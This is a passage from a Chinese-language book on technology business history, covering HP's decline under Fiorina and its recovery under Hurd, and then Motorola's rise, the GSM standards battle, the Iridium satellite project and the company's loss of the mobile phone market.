号，安捷伦在纽约股票交易所挂牌上市，当天就疯长了 40% ，市值达 200 亿美元（超过今天的 130 亿美元），其中八成以上的股票掌握在惠普手里。当时荒唐的是，惠普的股票当天也狂涨了 13% 。这种现象在投资大师巴菲特看来是很荒唐的，安捷伦疯涨，说明惠普卖赔了，惠普应该跌才是。但是，在 1999 年那个股市疯狂的年代，这种不理性的事情总是发生。到目前为止，菲奥莉娜的工作一切正常。\n惠普从安捷伦的上市得到了一笔可观的现金，这笔现金帮助惠普渡过了几年后的难关。现在，菲奥莉娜必须拿出真本事把瘦身了的惠普搞好。很遗憾在她的领导下，惠普的核心业务是王小二过年，一年不如一年。它在工作站的业务上远远落后于太阳公司，后来干脆退出了竞争。在微机领域，它离领先者 Dell 的差距越来越大，而且毫无扭转迹象。在打印机业务中，它卖打印机挣墨盒的如意算盘根本打不响，（我们在后面还要分析其原因）。在打印机市场上，惠普虽然是世界上最大的公司，但是市场份额却不断被日本公司佳能和爱普生蚕食。\n要夺回市场份额，最根本的办法是改造自身，提高竞争力，IBM 的郭士纳和英特尔的格罗夫，包括惠普后来的 CEO 赫德就是这么做的。但是，这需要有真本事。而最简单、最快的方法是买市场，即买入一家公司。菲奥莉娜是公司并购的行家里手，她看中了当时还占微机市场份额第二、但是江河日下的康柏公司。菲奥莉娜的提议遭到了包括惠普两个创始人家族在内的反对。不少股东担心本来已经盈利不佳的惠普，再背上一个亏损的康柏，最终将拖垮惠普。当时 Dell 占美国微机市场的 31 %，而康柏加惠普占 37 %。菲奥莉娜的如意算盘是通过合并打造世界最大的微机公司，形成对戴尔的优势。其实，惠普在和 Dell 的竞争中处于劣势的根本原因在于，惠普的问题是资金周转不够快。Dell 的资金一年大约可以周转两次以上，而惠普只有一次。也就是说，即使 Dell 的利润率只有惠普的一半，它也可以获得和后者相同的利润。这样，Dell 计算机降价的空间就很大，很容易占领市场。显然收购康柏并不能解决这个问题。\n菲奥莉娜的并购方案在董事会里遭到了 H 和 P 这两个家族第二代的一致反对。为了使方案得到通过，就得要全体股东大会的同意了。菲奥莉娜做了很多工作动员中小股东投票，促使这项提议通过，最后股东们以 51% 对 48% 批准了收购康柏的决定。在这 51% 的赞同票中，有相当比例是菲奥莉娜拉来的票。2001 年，911 前夕，这项惠普历史上最大的二百五十亿美元的收购交易终于完成。由于华尔街对此普遍不看好，新惠普在交易完成的当天股票下挫近 20% 。几天后 911 的恐怖袭击发生了，美国经济形势急转直下。新惠普的生意一落千丈。2002 年，惠普出现十几年来的首次巨额亏损。\n并入康柏后，惠普并没有得到想象中的康柏加惠普的市场份额，在市场份额最低的 2002-2003 年，它而只勉强维持了康柏原有的份额。在商业史上，类似的事情时常发生，两个在竞争中处于劣势的公司合并后，不仅没有得到累加的市场份额，而且只达到两者合并前少的那份。原因很简单，在竞争中处于劣势的公司必定有它经营管理的问题。如果这些问题得不到解决，合并后问题会翻倍，在竞争中会更加处于劣势，从而进一步丢失市场份额。这就好比几块煤放在一起是一堆煤，而不是能发亮的钻石。菲奥丽娜领导下的惠普公司本来已经问题多多，再加上一个问题更多的康柏，成堆的问题早已超出了她的能力所能处理的。本来，菲奥莉娜应该集中精力解决内部的问题，如果她有能力解决这些问题的话。但是，好大喜功的她选择了一条急功近利的道路一下走进的死胡同。菲奥莉娜在她的自传中为这次合并进行了长篇的辩解，并且攻击休伊特家族和帕克特家族，并怪罪媒体。但是民众并没有买账，事实上愤怒的股民在合并后的几天就把她告上了法庭。\n在菲奥莉娜执掌惠普的接下来的五年间，菲奥莉娜从一个科技公司变成了一个电器公司。它原本是和 GE 、IBM 以及 Sun 这样的科技公司竞争，现在它蜕变为和 Dell 、索尼、佳能和爱普生一类的低利润普通电器公司。在菲奥莉娜的任期中，她个人频频在各种媒体中亮相，（当然，她解释为媒体找她。）但是惠普这个硅谷最有历史的公司正渐渐被人遗忘。它在个人机领域输给了 Dell ，在数码相机上输给了佳能、尼康和索尼，在打印机上输给了爱普生和佳能，可以说是一败涂地。\n9.4 亚洲制造的冲击\n菲奥莉娜当时的另一个指望是，卖打印机后一劳永逸地挣墨盒钱。这个策略也没有行得通，这里面有除了技术和商业的因素，还有更深层的原因，就是来自亚洲制造的冲击。现在，中国制造似乎成为了一个时髦的词，因为中国为世界生产从玩具、服装到家电等各种消费品，甚至包括 Burberry 和 Armani 在内的奢侈品。但是，这里我想讲的亚洲制造并不是指欧美在亚洲进行外包加工（比如台湾的郭台铭），而是指像亚洲人自己的公司在一些产业上彻底替代欧美公司，比如丰田、本田代替通用汽车和福特，联想替代 IBM 等等。很不幸，惠普是亚洲冲击的牺牲者。\n二战后的信息技术，大多起源于美国，而硅谷更是世界创新的中心。尽管 2000 年硅谷收到互联网泡沫崩溃打击最大，但是，它依然是信息技术和（以 Genentech 为代表的）生物技术创新的中心，但是，和二战以前不同，每一项起源于欧美的新技术，用不了多久就会被日本人、后来还有韩国人和中国人掌握。于是，一种技术出来后，欧美公司在没有亚洲竞争对手时，可以打一个时间差，挣一个高额利润。以前，这个时间差有几十年，现在已经缩短到几年甚至更短。比如，五十年前日本的日立和松下等公司造出可以媲美惠普的示波器花了十几年的时间，而到了八九十年代，佳能仿制出惠普的喷墨打印机几乎没有花任何时间。这样一来，惠普等公司就不得不和亚洲公司面对面的竞争了。\n在九十年代末，随着数码相机的普及，高质量喷墨相机的市场迅速增长，但是由于有佳能和爱普生等日本公司加入竞争，喷墨打印机的利润被大大压缩了。一台高质量的彩色喷墨打印机本身的价格不过一百美元上下。因此，靠卖打印机显然挣不了几个钱。惠普最初将打印机墨盒的价钱定的很高，一套墨盒大约是打印机价钱的一半。这便是吉列通过刮胡子刀架挣刀片钱的做法。但是，惠普的墨盒和吉列的刀片有个很大的区别。刮胡子刀片是一分价钱一分货，吉列的刀片比廉价低质量的确实好不少，而且刮胡子刀片是一种特殊的商品，对它的马虎不得，用一个劣质刀片刮破脸可不是件好玩的事。因此，大众会首选吉列刀片。打印机墨盒则不同，惠普的墨盒本身就是由中国的 OEM 厂生产的，它和兼容的墨盒在使用上没有什么差别，但是价钱上却差出了五到十倍，因此很多人不去买惠普所谓的原装墨盒而使用兼容的。后来惠普禁止兼容墨盒的出售，但是佳能和爱普生没有禁止，于是人们干脆连惠普的打印机也不买了。在喷墨打印机刚出来时，惠普是统治这个市场，而现在，虽然它还是这个领域最大的厂商，但是在世界的份额只剩下百分之四十几了。\n亚洲制造的影响不仅仅在于限制利润率，而且还在于亚洲公司参与制定商业模式和游戏规则。如果没有佳能和爱普生等亚洲的竞争者，惠普或许还有可能采用吉列的商业模式一劳永逸地挣钱。现在，它不仅要和日本公司面对面的竞争，去挣打印机本身那点蝇头小利，而且一劳永逸挣墨盒钱的财路也被断了。为了抵消亚洲制造的冲击，欧美公司十分鼓励和支持代加工即 OEM 似的亚洲制造，这样可以降低它们的成本，但是会千方百计阻挠亚洲公司打自己的品牌，因为这样会对它们产生威胁。可以这样讲，美国公司很喜欢 OEM 大王郭台铭，不太喜欢松下幸之助和华为的任正非。\n从 2003 、2004 年起，整个硅谷开始复苏，很多公司回到并超过 2000 年的水平。但是，惠普一点没有好转的迹象。华尔街不断看空惠普的股票，忍无可忍的股东们终于决定赶走毫无建树的菲奥莉娜。根据美国公司的惯例，惠普提供给她一笔丰厚的退休金，然后由她自己提出辞职，这样大家面子上都好看。菲奥莉娜临走还从惠普投资者手中拿走了上亿美元的现金和股票。但是，股东们宁可花钱请她走。菲奥莉娜离职的当天，惠普的股票大涨了 10% 。这是一次惨痛的教训，它说明如果一个公司不能挑选好掌舵人，以后替换掉他成本也是很高的。\n9.5 峰回路转\n惠普新的舵手是马克.赫德。他上任前大家对他是否能扭转惠普这个老、大、难的公司也心里没底。也难怪，九十年代以前，惠普的高利润很高，节奏慢一些也没关系，惠普的很多老员工已经习惯了不紧不慢的做事方式。这种样子显然很难在竞争激烈的微机市场上生存。在产品上，惠普和竞争对手相比一点优势也没有。两年后，雄辩的事实证明，作风直截了当的赫德正是医治惠普的良医。赫德很少花时间做那些漂漂亮亮的 Powerpoint 投影胶片，而是直接在白板上写写画画。赫德很少讲大道理，从来是用数字说话。他做一小时报告，常常要引用几十个数字，平均一分钟一个。\n赫德一上任就对惠普进行了大刀阔斧的改革，他首先裁撤了水平很高但是对惠普用处不大的研究部门。惠普的研究院历史久远，除了惠普自己早期的各个研究所，还包括从康柏继承下来的原来 DEC 的研究院。后者曾经是美国仅次于 IBM 研究院的计算机研究院。惠普研究院包括有图灵奖得主在内的许多著名科学家。但是，既然惠普已经成为了一个家电公司，那么养这么多科学家的必要性就不大了，因此赫德果断地裁撤了该部门。同时，赫德对其它部门也进行了相应的瘦身，惠普一共裁员一万五千人。同时，为了减少动荡，赫德基本维持了公司2004 年的架构，即分成服务业（TSG）、个人电脑（PSG）和打印设备（ISG）三个主要部门，（当然还有一些小的独立部门）。\n赫德做的第二件事是从 Dell 手中夺回 PC 机的市场占有率。赫德采取了和 Dell 直销模式相反的代销方法。以前，Dell 靠直销大大降低了流通渠道的成本，使 Dell 成为美国最廉价的品牌机。Dell 的直销方式至今被认为是它成功的经验。惠普并购康柏后，很长时间里试图抄 Dell 的模式，但是做得不成功，反而有点邯郸学步的味道。赫德知道别人成功的经验对自己未必合适，因此选择了适合自己的代销模式。以前，计算机类的电子产品主要是由 Circuit City 和百思买（Bestbuy）这样的电器连锁店代销。这些店会提供一般百货店没有的对于大电器的售后服务。可是，今天 PC 机基本上是开机就能用，报废以前不会坏，不需要什么服务。惠普后来加强了和美国最大的零售商沃尔玛以及最大的会员店Costco 的合作，将惠普的 PC 机直接放到这两家店的货架上。在短短的几个季度内，惠普的市场占有率就超过 Dell ，居世界第一位。\n惠普的另一大业务是打印机，针对数码照片的普及，惠普干脆推出了很多专门打印照片的专用彩色喷墨打印机。这种打印机只有一本三十二开的字典大小，不需要联入计算机，就可以从照相机或者内存卡上直接打印 4x6 寸的高分辨率、高质量照片，非常方便。这些打印机销路很好。同时，惠普针对专业打印社，推出了多种宽幅高分辨率打印机。经过努力，惠普基本上扭转了打印机市场份额下滑的颓势。\n我们在前面提到，惠普衰退有两个原因，一是前任领导的能力问题，二是它身处的电器行业受亚洲制造的冲击。现在，惠普的第一个问题解决了。赫德显然是一位称职的领导，在他的领导下，惠普经过一年左右的努力，利润率几乎翻了一番，公司的股票也涨了一倍。惠普又重新走上了稳步发展的正轨。但是，现在的惠普已经从一家科技公司变成了世界上最大的家电公司之一。它在计算机服务领域的增长远没有它在制造业增长快。但是，另一个结症显然不是谁能解决的。计算机制造业受反摩尔定理的制约，同时受到亚洲，这里主要是日本公司的冲击，日子不会很好过。对于投资者来讲，这也许并不是件好事。因为现在计算机和电器制造业的利润不仅低而且极不稳定。下图是这五年来，家电行业股票（包括索尼、松下和美国的一些电器公司等）和大盘走势的对比，从图中我们可以看出，家电行业的股票（蓝线）不仅回报不如大盘（红线），而且忽上忽下像做过山车一样，这是投资者最不喜欢的。\n图9-4家电行业股票和大盘走势图更糟糕的是，惠普已经被打上了消费电子公司的标记，这样对于向往创新的工程师和科学家来说，惠普就不再是他们工作的首选了，这对惠普的长期发展不利。在接下来的几年里，受到安迪-比尔定理的影响，为了运行Windows Vista ，惠普的计算机会卖的不错，表明上看它的业绩还会不错，但是它的市场份额，尤其是海外市场的份额会受亚洲制造的蚕食，前景不是很美妙。\n惠普虽然是一个大公司，但是它从来没有领导过哪次技术浪潮。因此，它开创出一个新行业的可能性不大。（它不同于苹果，后者从来就有创新的基因，因此可以完成从微机到 iPod 再到iPhone 的过渡。前者则很难转型。）它是当年以半导体和计算机硬件为核心时代的硅谷的代表，而今天的硅谷，半导体已经变得越来越不重要了。惠普已经不能代表今天硅谷的潮流了，这也是我在开始时讲惠普是黯淡了的巨星的原因。\n第10章 没落的贵族：摩托罗拉\n美国过去未曾有过贵族，今后也不会有。无论是巨富盖茨或者是年轻美貌、聪明而富有的女继承人伊万卡.特朗普都不是任何意义上的贵族。实际上贵族这个词在整个西方本身就是一个没落的词汇，虽然在东方一些人或许沉迷在贵族梦中。但是，贵族在历史上曾经实实在在地出现过。如果我们认为公司之中也有所谓的贵族，摩托罗拉无疑可以算是一个。\n曾几何时，摩托罗拉就是无线通信的代名词，同时它还是技术和品质的结晶。甚至就在二十年前，摩托罗拉还在嘲笑日本品质的代表索尼，认为后者的质量只配做体育用品。今天，虽然摩托罗拉的产品从品质上讲仍然傲视同类产品，但是就像一个戴着假发拿着手杖的贵族，怎么也无法融入时尚的潮流。\n10.1 二战的品牌\n下面这张图是从美国军方网站上找到的，大部分读者应该第一次见到这张照片。但是，大家对它一定是似曾相识，因为这是美军在各种媒体，尤其是在电影中，通信兵最经典的形象。这位战士身上背的是摩托罗拉的 SCR300 背负式跳频步话机。它是一个可调谐的高频调频通信设备，重十六公斤，有效通讯距离十六公里左右。六十年前，摩托罗拉的牌子随着美军传播到全世界。\n图10-1美军背SCR300背负式跳频步话机照片摩托罗拉公司原名加尔文制造公司（Galvin Manufacturing Corp），创立于 1928 年，由创始人之一的保罗.加尔文的名字命名。它最早是生产汽车里的收音机的，摩托罗拉则是这种收音机的品牌。摩托罗拉一词 Motorola 的前五个字母 Motor 表示汽车，ola 是美国很多商品名称喜欢用的后缀，比如可口可乐 Coca Cola 。二战前，美国军方已经认识到无线电通信的重要性，开始研制便携式无线通信工具，并且自己研制出一款报话机（Walkie Talkie）SCR-194 。但是非常笨重，不很适用。摩托罗拉的一些工程师参与了这项研究。1940年，摩托罗拉研制出真正用于战场的报话机，就是上面照片中的 SCR300 。1942 年，摩托罗拉公司再接再厉，研制出“手提式”的对讲机（Handy Talkie）SCR-536 。见下图：图10-2美军用\"手提式\"的对讲机SCR-536照片这个超级“大哥大”重四公斤，在开阔地带通信范围一公里半，在树林中只有三百米。即使如此，那时美军的通信装备也高出其它国家一大截。从这一系列军用设备可以看出，摩托罗拉在无线电通信方面的实力很强，它的调频技术和天线技术都是领先于世界的。同时，作为美国军方和政府部门的供应商，摩托罗拉产品的稳定性和鲁棒性（Robustness）都很好。这从某种程度上讲是摩托罗拉产品的基因。至今，很多摩托罗拉的产品仍然如此。我经常看到这类报道，在一个荒郊野外出了车祸，大家都拿出手机呼救，最后只有摩托罗拉的手机能打出去。但是，很多事情是双刃剑，过分注重技术和品质使得摩托罗拉在商业上的灵活性远不如诺基亚和三星等竞争对手。\n二战后，摩托罗拉作为品牌名气越拉越大，人们一说起无线通信就首先会想到摩托罗拉。直到二十年前，摩托罗拉一直垄断这个市场，从对讲机、早期的手机，即大哥大，到九十年代初风靡中国，城市里人手一个，万元户腰里一排的 BP 机。人们甚至忘了它公司的名称加尔文制造公司，于是，1947 年公司干脆改名摩托罗拉，由此可见当年摩托罗拉名头之响。这种事情在大公司里并不少见，几天前，松下公司也把它的名字从创始人松下幸之助的名字 Matsushita 改为了品牌的名字 Panasonic 。当然这是题外话了。\n10.2 黄金时代\n从二战后到九十年代初，可以讲是摩托罗拉红火的年代。摩托罗拉在模拟无线通信方面有任何公司都无法比拟的技术优势，并且创造出多项世界第一。美国通信界对通信有一种通用的分类方法，即分为：有线单向（如闭路电视）、有线双向（如电话）、无线单向（如收音机）和无线双向（如手机电话和 WIFI）四种。长期以来，直到十几年前，ATT 一直是有线通信之王，RCA 是无线单向通信的老大，而摩托罗拉是不折不扣的无线双向通信的霸主。我们从前一节可以看到，摩托罗拉的核心业务都和双向的无线通信有关。\n1946 年，摩托罗拉发明了汽车电话。看过鲍嘉和赫本演的“ Sabrina (龙凤配)”的读者可能对这种产品有印象，影片中作为大公司董事长 Linus 从纽约长岛家中出发，一上汽车便通过汽车电话向远在曼哈顿的公司同事下达指示。很遗憾的是，汽车电话一直都是富人的奢侈品，它还没得到普及，就被手机电话代替了。十二年后，摩托罗拉发明了基于汽车的对讲机，它在美国被警察、出租车公司和各种运输公司广泛使用，直到九十年代末被手机电话取代（除了警察还在用）。在 2000 以前各国的警匪片中，我们经常看到此产品。\n1963 年对摩托罗拉来讲是一个值得纪念的年份。这一年，摩托罗拉发明了世界上第一个长方形的彩电显像管，而且它迅速成为了行业标准。（在此之前，RCA 生产的彩电荧幕是圆形的。请看这个图片） 图10-3 RCA生产的彩电\n1967 年，摩托罗拉生产出美国第一台全晶体管彩色电视机—以前的彩电或多或少还有些电子管。这件事对摩托罗拉影响很大，以前摩托罗拉虽然在技术上领先于世界，但是产品除了汽车里的收音机都不是民用的。彩色显像管的发明，标志着摩托罗拉有能力进入了民用市场并且将业务的重点转向民用。但遗憾的是，摩托罗拉在家电市场初期的尝试不很成功，到 1974 年，它不得不将彩电业务卖给了日本的松下公司。今天，很少有人知道摩托罗拉对彩电工业的贡献。\n在六七十年代，摩托罗拉完全能经历的起在彩电上的失败，因为它领先于世界的技术太多了。到八十年代，摩托罗拉进入蓬勃发展的十年，它的业务也由无线通信扩展到计算机的半导体芯片。1979 年，摩托罗拉成功地推出 68000 通用微处理器，它因设计的集成度为 68000 个晶体管而得名（虽然实际集成度为 70000 个）。它的地址总线（Address Bus）宽度为奇特的 24 位，可以管理 16 MB 的内存，因此它成为所有小型机和工作站的首选芯片。而同期英特尔的处理器其实比它落后半代，后者 16 位的地址宽度只能管理 64K 的内存。\n八十年代，随着数字信号处理的发展，出现了对专用的数字信号处理芯片（DSP）的需求，该产品也因运而生。德州仪器（TI）、ATT 和摩托罗拉在八十年代初先后推出了 TSM ，DSP 和 M56K 三大系列产品，这个市场发展的如此之快，给摩托罗拉带来了一个新的金矿。今天，以 DSP 为核心加上外围通信的手机核心芯片仍然是全世界销量最大，最赚钱的半导体芯片（因为每个手机中必须有一个这样的芯）。\n当然，摩托罗拉对世界最大的贡献是它在八十年代初发明的民用蜂窝式移动电话，也就是早期说的大哥大，现在说的手机。大家公认摩托罗拉是当今手机通信的发明公司，虽然 ATT 声称它的无绳电话比摩托罗拉的手机早，但是大家知道无绳电话和手机电话是两回事。由于 ATT 扎根于有线通信，不自觉地会抵触无线通信。移动电话刚起步时，ATT 预计到 2000 年全球不超过一百万用户，这个估计比后来 2000 年时的实际数目小了一百倍。所以，ATT 自然不会把重点放在移动通信上。而摩托罗拉正相反，它在有线通信上不可能有作为，就自然而地押宝在移动通信上，领导和推动了移动通信的潮流。\n到九十年代初，摩托罗拉在移动通信、数字信号处理和计算机处理器三个领域都是世界上技术最强的 player。更难能可贵的是，它的产品声誉极好。我最早接触摩托罗拉的产品是在八十年代末，一些海关的朋友向我介绍他们的摩托罗拉对讲机。那些对讲机可以在钢铁包围的大货轮货舱里和岸上的同事通话，这是任何其他同类产品做不到的。1990 年，摩托罗拉的营业额超过一百亿美元，在 IT 公司中仅次于 IBM 和 ATT 。如果摩托罗拉能通吃三大市场，它无疑将是今天世界上最大的IT公司。即使它能垄断其中一个，也是一个巨无霸的公司。很遗憾，它一个也没做好，这个通信革命的领导者被自己掀起的技术浪潮淘汰了。原因何在呢？\n10.3 基因决定定理\n作为移动通信的领导者，摩托罗拉自然地垄断了第一代移动通信市场。第一代移动通信是基于模拟信号的，天线技术和模拟信号处理技术的水平决定了产品的好坏。而产品的外观式样根本不用考虑。在技术方面，没有公司能挑战摩托罗拉。因此，摩托罗拉的手机虽然卖的贵（那时在中国一个好的手机要两万元），仍然占领了世界百分之七十的市场。其它公司要想和摩托罗拉竞争，只能寄希望于下一代了。\n在第二代移动通信刚开始时，欧洲联合起来了。以往欧盟各国只能算是松散的联盟，在技术上很难单独和美国抗衡。即使搞出一个不同于美国的行业标准，也很难在世界上占主导，比如彩电的 PAL 制式。近二十年来，欧洲独立于美国单独行事的意识越来越强，同时吸取了各自为战的失败教训。明显加强了内部的合作。终于在第二代移动通信上超越了美国。\n1982 年欧洲邮电管理委员会 European Conference of Postal and Telecommunications Administrations (CEPT)提出了数字移动通信的标准 Groupe Spécial Mobile，简称 GSM 。后来这个标准流行于世，欧洲又把它改称为 Global System for Mobile communications , 因此很多人以讹传讹误以为 GSM 是后者的缩写。1989 年，该标准被提交到欧洲电信标准局，第二年便成为欧洲后来乃至成为世界的第二代移动通信标准。GSM 的技术核心是时分多址技术（TDMA），即将每个无线频率均匀地分给八个（或者十六个）手机用户，每个用户交互地占用八分之一的信道时间。（注：人们通话时，语音直接的间歇时间其实很长，只有语音编码做的合理，就可以几个用户共用一个信道。）GSM 实现简单，在成为欧洲标准的第二年，即 1991 年，就由爱立信和一家芬兰公司架设了第一个 GSM 的移动通信网。两年后，包括中国在内的四十几个国家采用 GSM 标准，今天，GSM 占世界手机用户的 80%，据称达 20 亿用户。\n在欧洲人行动的同时，美国人并没有闲着，他们似乎比欧洲人更努力。整个欧洲只搞出一个标准，而只有欧洲人口三分之一的美国居然搞出了三个数字通信的标准，其中两个和 GSM 一样是基于 TDMA 的标准，而第三个是很先进的码分多址 CDMA 标准。（以后有功夫再介绍 CDMA ，这里就不赘述了。）结果就不用说了，美国注定在第二代移动通信标准上注定失败。\n美国在标准之争上的失败间接影响的摩托罗拉手机今后的竞争力。当然，在标准上失败并不意味着摩托罗拉在手机市场上会失败，就像不拥有任何标准的三星公司照样在手机上抢到了世界市场的一席之地。摩托罗拉失去手机市场统治地位的原因还必须从自身找。这里面既有无法抗拒的命运的捉弄，也有人为的因素。\n两年前，我和李开复博士等人多次谈论科技公司的兴衰，我们一致认为一个公司的基因常常决定它今后的命运，比如 IBM 很难成为一个微机公司一样。摩托罗拉也是一样，它的基因决定了它在数字移动通信中很难维持它原来在模拟手机上的市场占有率。摩托罗拉并不是没有看出数字手机将来必将代替模拟手机，而是很不情愿看到这件事发生。作为第一代移动通信的最大收益者，摩托罗拉要尽可能地延长模拟手机的生命期，推迟数字手机的普及，因为它总不希望自己掘自己的墓。如果过早地放弃模拟手机，就等于放弃已经开采出来的金矿，而自降身价和诺基亚的公司一同从零开始。尤其在刚开始时，数字手机的语音质量还远不如摩托罗拉砖头大小的大哥大，更使摩托罗拉高估了模拟手机的生命期。和所有大公司一样，在摩托罗拉也是最挣钱的部门嗓门最大，开发数字手机的部门当然不容易盖过正在挣钱的模拟手机部门，因此，摩托罗拉虽然在数字手机研发上并不落后，但是，进展缓慢。一旦各个竞争对手推出各种各样小巧的数字手机时，摩托罗拉才发现自己慢了半拍。\n当然，以摩托罗拉技术和市场的优势赶上这半步照说应该不难，但是，摩托罗拉另一根基因使得它很难适应新的市场竞争。在模拟通信设备市场上，技术占有至关重要的位置，其它方面，比如方便性，外观都不重要。而且模拟电子技术很大程度上靠积累，后进入市场的公司很难一年两年赶上。玩过发烧音响的读者知道，音响的数字设备，比如播放机，各个牌子差异不是很大，而模拟部分比如喇叭不同厂家的差异有天壤之别。日本的 SONY 和先锋至今做不出美国 Harman Kardon 和 Infinity 那种高质量的喇叭。在摩托罗拉内部，很长时间里，也许直到今天，技术决定论一直占主导。在数字电子技术占统治地位的今天，各个厂家之间在技术上的差异其实很小，这一点点差别远远不足以让用户选择或不选择某个品牌的产品。相反，功能、可操作性、外观等非技术因素反而比技术更重要。在这些方面，摩托罗拉远远比不过诺基亚和亚洲的对手。我一些在摩托罗拉的朋友常常很看不上诺基亚和三星等公司的做法“他们换一个机壳或者颜色就算是一款新手机”，但是，用户还真的很买后者这种做法的帐。\n公平地讲，摩托罗拉的手机仍然是同类手机中信号最好，最可靠的，作为只用手机打电话的我，在使用过各个厂家的手机后，还是最推崇摩托罗拉的。但是，在亚洲，手机不仅仅是一个电话，它是个人通信的平台，是生活的一部分，甚至有人在上面镶上钻石作为身份的象征。（这有点像两百年前欧洲人的手杖，其实不是为了支撑身体。）在满足后者需求上，诺基亚和以三星为首的亚洲做到更好。\n如果说基因决定性多少有些宿命论，那么人为的因素也加速了摩托罗拉的衰落。我们在介绍英特尔一章中介绍过，在科技工业发展最快的八九十年代，摩托罗拉的第三代家族领导人卡尔文三世没有能力在这个大时代中纵横捭阖，开拓疆土。摩托罗拉本来在手机、计算机处理器和数字处理器（DSP）三个领域均处于领先地位，前景不可限量。但是卡尔文实在没有能力将三个庞大的部门十几万人管理好，虽然他没有犯什么大的错误，但是他平平庸庸。也许，在五十年前，一个只需要守成的年代他可以坐稳他的位置，但是在上个世纪末那个一个英雄辈出、拒绝平庸的年代，盖茨、乔布斯、郭士纳、格罗夫、钱伯斯和通用电气的杰克·韦尔奇等人都在同场角逐，任何公司都在逆水行舟，不进则退。除了卡尔文，摩托罗拉的整个管理层也有责任，他们低估了摩尔定理的作用。虽然数字手机在一开始还比不上模拟手机，但这并不能说它要很长时间才能威胁模拟手机的地位。事实上，由于半导体技术按指数的速度发展，手机数字化比摩托罗拉高管们想象的时间表来得早得多，使得摩托罗拉几十年来积累的模拟技术变得无关紧要，市场的优势顿失。\n本来，摩托罗拉是最有资格领导移动通信大潮的，很遗憾，它只踏上了一个浪尖就被木工厂出身的诺基亚超过了。\n10.4 铱星计划\n世界科技史上最了不起的、最可惜的、也许也是最失败的项目之一就是以摩托罗拉牵头的铱星计划。\n为了夺得对世界移动通信市场的主动权，并实现在世界任何地方使用无线手机通信，以摩托罗拉为首的美国一些公司在政府的帮助下，于 1987 年提出的新一代卫星移动通信星座系统。我们知道，当今的移动通信最终要通过通信卫星来传输信息，为了保证在任何时候卫星能够收发信号，卫星必须保持和地球的相对位置不变。所有的同步通信卫星都必须挂在离地球三万多公里高的赤道上空。同时在地面建立很多卫星基站来联络手机和卫星。如果一个地方没有基站，比如沙哈拉沙漠里，那么手机就没有信号，无法使用。铱星计划和传统的同步通信卫星系统不同，新的设计是由 77 颗低卫星组成一个覆盖全球的卫星系统。每个卫星比同步通信卫星小得多，重量在 600-700 公斤左右，每颗卫星有三千多个信道，可以和手机直接通信（当然还要互相通信）。因此，它可以保证在地球任何地点实现移动通信。由于金属元素铱有 77 个电子，这项计划就被称为了铱星计划，虽然后来卫星的总数降到了 66 个。\n这是一个非常宏伟而超前的计划，它最大的技术特点是通过卫星与卫星之间的传输来实现全球通信，相当于把地面蜂窝移动系统搬到了天上。从技术讲，铱星系统是相当了不起的，它采用星际链路。在极地，66 颗卫星要汇成一个点，又要避免碰撞，难度很高。从管理上讲，它又是一个完整的独立网，呼叫、计费等管理是独立于各个国家通信网的。（这种独立计费再后来给它的运营带来很大麻烦。）低轨道卫星与目前使用的同步轨道卫星通信系统比较有两大优势：首先，因为轨道低，只有几百公里，信息损耗小，这样才可能实现手机到卫星的直接通信。我们现在的任何手机都不可能和三万公里以外的同步卫星直接通信；第二，由于不需要专门的地面基站，可以在地球上任何地点进行通信。1991 年摩托罗拉公司联合了好几家投资公司，正式启动了“铱星计划”。1996 年，第一颗铱星上天；1998 年整个系统顺利投入商业运营。美国历史上最懂科技的副总统戈尔第一个使用铱卫系统进行了通话。此前，铱星公司已经上市了，铱星公司的股票在短短的一年内大涨了四倍。铱星系统被美国《大众科学》杂志评为年度全球最佳产品之一。铱星计划开始了个人卫星通信的新时代。\n从技术角度看，铱星移动通信系统是非常成功的。这是真正的科技精品。我常常想，我们这些被称为高科技公司的互联网公司做到的东西和铱星系统相比，简直就像是玩具。铱星系统在研发中，有许多重大的技术发明。应该说整个铱星计划从确立、运筹和实施都是非常成功的。但是，在商业上，从投资的角度讲，它却是个彻头彻尾的失败。这个项目投资高达五六十亿美元，每年的维护费又是几亿美元。除了摩托罗拉等公司提供的投资和发行股票筹集的资金外，铱星公司还举借债三十亿美元的债务，每月光是利息就达几千万。为了支付高额的费用，铱星公司只能将手机的价钱订在五千美元一付，每分钟的通话费定在每分钟三美元。这样，铱星公司的用户群就大大减小。直到去年，它才有二十万用户，还不及苹果iPhone一个月发展的用户多。\n铱星系统投入商业运行不到一年，1999 年 8 月 13 日铱星公司就向纽约联邦法院提出了破产保护。半年后的 2000 年 3 月 18 日，铱星公司正式破产。铱星成了美丽的流星。66 颗卫星在天上自己飞了几年，终于于 2001 年被一家私募基金公司（Private Equity）以两千五百万美元的低价买下。不到铱星整个投资是六十亿美元的 1% 。作为一个与摩托罗拉无关的私营公司，铱星居然起死回生，去年实现近三亿美元的营业额和五千万的利润。（注：这里的利润是按美国会计结算方式计算出来的，盈利并不代表现金流是正数。）铱星计划是通信史上一个流星，一个美丽的故事（A Beautiful Story）。摩托罗拉公司很聪明地利用其技术优势吸引了全世界的眼球。该计划一出炉就引起世人的广泛注目，也赢得了风险投资家的青睐。摩托罗拉为此自己拿出了十亿美元，同时钓鱼似的从投资公司有拿到近五十亿美元，从而大大降低了自己的风险。但是，在商业运作上，摩托罗拉做得很不成功。首先，市场分析现在看来就有问题，成本过高导致用户数量不可能达到预计的盈利所必需的规模。而成本过高的原因又是技术选择的失误造成的。摩托罗拉长期以来都是一个了不起的技术公司，它长于技术，但是过分相信技术的作用。铱星计划在技术上是无与伦比的，但是，过于超前市场的技术不仅导致成本过高，而且维护费用也是巨大的。另外，引入风投本身的弊端在项目的后期凸显出来，那就是投资者为了收回投资，过早将铱星系统投入商用，当时这个系统通话的可靠性和清晰度很差，数据传输速率也仅有 2.4Kps ，因此除了打电话没法做任何事，这使得潜在的用户大失所望。概况来讲，就是铱星计划太超前了，它开业的前两个季度，在全球只有一万个用户，而当初市场的分析去乐观地预计，仅在中国就能有这个数的十倍。在后期商业运作上。铱星公司问题很多，最终导致银行停止贷款、部分股东撤回投资，并导致公司在股市上停盘的致命打击。\n10.5 全线溃败\n铱星计划对摩托罗拉的打击远不止十亿美元。在摩托罗拉启动铱星计划时，GSM 还没有在世界上占统治地位，美国和包括中国在内的很多国家还吃不准技术上更好的 CDMA 是否会很快替代掉 GSM 。但是，摩托罗拉由于把精力分散到了铱星上，不仅失去了和诺基亚竞争的最佳时机，而且还把一些市场丢给了三星、LG 